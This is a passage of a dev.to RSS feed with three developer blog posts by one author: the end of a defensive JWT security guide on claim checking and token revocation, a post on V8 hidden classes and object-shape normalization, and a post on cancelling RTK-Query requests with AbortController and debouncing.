&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Be specific when you check the token. Make sure it's being used for the purpose it was created for.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;audience&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;my-user-api&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;issuer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://auth.mycompany.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Trap #6: The "I Can't Take It Back" Problem
&lt;/h3&gt;

&lt;p&gt;So, what happens if a token gets stolen &lt;em&gt;before&lt;/em&gt; it expires? This is the toughest part of using JWTs. Because the server is "stateless" (it doesn't keep a list of active tokens), you can't just tell it, "Hey, don't accept this one anymore."&lt;/p&gt;

&lt;p&gt;Relying on short expiration times helps, but it’s not a perfect solution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; You have to make your server a little less forgetful.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Keep a Banned List:&lt;/strong&gt; Create a list of stolen or logged-out token IDs in a fast database. When you check a token, you first check its signature, then you check if its ID is on the banned list.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Use Refresh Tokens:&lt;/strong&gt; This is often the cleanest way. If an access token is stolen, you just revoke the user's refresh token. The thief is left with an access token that will expire on its own in a few minutes, and they won't be able to get a new one.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;The Nuclear Option:&lt;/strong&gt; If you think there's a serious breach, you can change your secret key. This will instantly invalidate &lt;em&gt;all&lt;/em&gt; active tokens for every user, forcing everyone to log in again. It's like changing the locks on the whole building.&lt;/li&gt;
&lt;/ol&gt;




&lt;h4&gt;
  
  
  Final Thoughts
&lt;/h4&gt;

&lt;p&gt;JWTs are a fantastic tool, but they need to be handled with care. Most security issues aren't with JWTs themselves, but with how we, as developers, use them.&lt;/p&gt;

&lt;p&gt;If you focus on safe storage (&lt;code&gt;HttpOnly&lt;/code&gt; cookies), careful checking (don't just check the signature, check everything!), and have a plan for when things go wrong, you'll be in a great position to build a secure app. At the end of the day, it's on us to use them right.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>authentication</category>
      <category>javascript</category>
    </item>
    <item>
      <title>How Hidden Classes Improved My JavaScript Performance by 5x</title>
      <dc:creator>Rahul Kumar</dc:creator>
      <pubDate>Wed, 23 Jul 2025 04:32:31 +0000</pubDate>
      <link>https://dev.to/rahuls24/how-hidden-classes-improved-my-javascript-performance-by-5x-235f</link>
      <guid>https://dev.to/rahuls24/how-hidden-classes-improved-my-javascript-performance-by-5x-235f</guid>
      <description>&lt;p&gt;So here's a quick story. I was working with this huge dataset — over a &lt;strong&gt;million records&lt;/strong&gt; — and my code was crawling. I expected some lag, sure, but not &lt;em&gt;this&lt;/em&gt; bad. So I decided to dig in and figure out what was going on.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem: Weirdly Structured Objects
&lt;/h2&gt;

&lt;p&gt;Each record in the dataset came from a different source, which meant the object structures were kind of all over the place:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;records&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;172383&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;scroll&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;time&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;172384&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hover&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;172385&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At a glance, they look fine — just slightly different. But that slight difference? It was killing performance.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Found: Hidden Classes in V8
&lt;/h2&gt;

&lt;p&gt;After a bit of research and profiling, I realized the issue was tied to how the V8 engine (used in Chrome and Node.js) optimizes object access. It uses something called &lt;strong&gt;hidden classes&lt;/strong&gt; behind the scenes.&lt;/p&gt;

&lt;p&gt;Basically, when you create objects with the same structure — same properties, same order — V8 reuses a single hidden class, which speeds things up. But if your objects are even &lt;em&gt;slightly&lt;/em&gt; different, V8 creates new hidden classes. That’s bad news for performance.&lt;/p&gt;

&lt;h2&gt;
  
  
  My Fix: Normalize Everything
&lt;/h2&gt;

&lt;p&gt;I decided to standardize the shape of every object before doing anything else. Here's the approach I used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;normalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;normalizedRecords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;records&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;normalize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, every object had the same keys in the same order. V8 could finally do its thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Result? 5x Faster 🚀
&lt;/h2&gt;

&lt;p&gt;Before normalization, the transformation and aggregation logic was taking around &lt;strong&gt;2000ms&lt;/strong&gt;. After fixing the shapes? Just &lt;strong&gt;400ms&lt;/strong&gt;. That’s a &lt;strong&gt;5x speed boost&lt;/strong&gt; from one simple change.&lt;/p&gt;

&lt;h2&gt;
  
  
  What You Can Take From This
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  JavaScript engines optimize better when object shapes are consistent.&lt;/li&gt;
&lt;li&gt;  Avoid dynamic property additions.&lt;/li&gt;
&lt;li&gt;  Always try to initialize objects with all their properties upfront and in a predictable order.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Hidden classes matter more than you'd think. If you're working with large datasets or doing performance-sensitive work in JS, keeping your object shapes consistent can make a &lt;em&gt;huge&lt;/em&gt; difference.&lt;/p&gt;




&lt;h3&gt;
  
  
  Wrapping Up
&lt;/h3&gt;

&lt;p&gt;If you’re curious about how V8 handles performance under the hood, check out this excellent deep dive: &lt;a href="https://web.dev/articles/speed-v8" rel="noopener noreferrer"&gt;Speeding up V8&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you found this helpful or have other performance tips to share, drop them in the comments. I'd love to hear how you tackle performance bottlenecks in your own projects.&lt;/p&gt;

&lt;p&gt;You can also follow me on &lt;a href="https://x.com/itsrahuls24" rel="noopener noreferrer"&gt;X (Twitter)&lt;/a&gt; or connect with me on &lt;a href="https://www.linkedin.com/in/rahuls24/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; — I share more dev tips, real-world learnings, and JavaScript deep dives.&lt;/p&gt;

&lt;p&gt;Thanks for reading — and keep coding! 🚀&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>performance</category>
      <category>node</category>
    </item>
    <item>
      <title>How to Handle RTK-Query Request Cancellations in React</title>
      <dc:creator>Rahul Kumar</dc:creator>
      <pubDate>Thu, 01 Aug 2024 11:28:26 +0000</pubDate>
      <link>https://dev.to/rahuls24/how-to-handle-rtk-query-request-cancellations-in-react-292h</link>
      <guid>https://dev.to/rahuls24/how-to-handle-rtk-query-request-cancellations-in-react-292h</guid>
      <description>&lt;p&gt;Have you ever experienced stale data or race conditions in your React app when users interact quickly — like typing fast into a search box? This is where &lt;strong&gt;request cancellation&lt;/strong&gt; becomes essential, especially if you're using &lt;strong&gt;RTK-Query&lt;/strong&gt; for data fetching.&lt;/p&gt;

&lt;p&gt;Recently, I worked on a feature that involved live search suggestions. Everything worked well until I noticed that the UI sometimes showed results from older, slower responses instead of the latest user input. After digging around, I realized the fix was simpler than expected: &lt;strong&gt;handle cancellations properly using &lt;code&gt;useLazyQuery&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem: Stale Data from Previous Requests
&lt;/h2&gt;

&lt;p&gt;When you're making rapid API calls — like in autocomplete, filters, or live search — older requests may return after newer ones. RTK-Query will still fulfill those old requests unless you actively cancel them.&lt;/p&gt;

&lt;p&gt;This leads to weird and confusing bugs for users where the UI briefly shows the wrong state.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Solution: Use &lt;code&gt;useLazyQuery&lt;/code&gt; with Abort Handling
&lt;/h2&gt;

&lt;p&gt;Instead of firing the query as soon as the component renders, &lt;code&gt;useLazyQuery&lt;/code&gt; gives you more control. Here’s how I implemented it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;trigger&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;useLazySearchQuery&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;controllerRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useRef&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleSearch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;controllerRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;controllerRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;controllerRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AbortController&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nf"&gt;trigger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;controllerRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way, every time &lt;code&gt;handleSearch&lt;/code&gt; is triggered (say, on input change), the previous request is canceled using &lt;code&gt;AbortController&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bonus: Debounce It!
&lt;/h2&gt;

&lt;p&gt;To avoid firing a request on every keystroke, wrap &lt;code&gt;handleSearch&lt;/code&gt; in a debounce:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;debouncedSearch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;debounce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handleSearch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What You Get
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Fewer unnecessary requests.&lt;/li&gt;
&lt;li&gt;No more UI flickering due to old results.&lt;/li&gt;
&lt;li&gt;Cleaner, more controlled data fetching.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Wrapping Up
&lt;/h3&gt;

&lt;p&gt;Effectively managing request cancellations with RTK-Query helps ensure that your app remains responsive and avoids displaying stale data. By leveraging &lt;code&gt;useLazyQuery&lt;/code&gt; and handling cancellations appropriately, you can keep your data fetching logic clean and efficient.&lt;/p&gt;

&lt;p&gt;For more info, dive into the &lt;a href="https://redux-toolkit.js.org/rtk-query/api/created-api/hooks#signature-4" rel="noopener noreferrer"&gt;RTK-Query API documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;That’s all for today! 😊&lt;/p&gt;

&lt;p&gt;Let me know your thoughts or favorite tips in the comments. Thanks for reading!&lt;/p&gt;

&lt;p&gt;You can also follow me on &lt;a href="https://x.com/itsrahuls24" rel="noopener noreferrer"&gt;X (Twitter)&lt;/a&gt; or connect with me on &lt;a href="https://www.linkedin.com/in/rahuls24/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Keep Coding!&lt;/p&gt;

</description>
      <category>react</category>
      <category>redux</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
  </channel>
</rss>
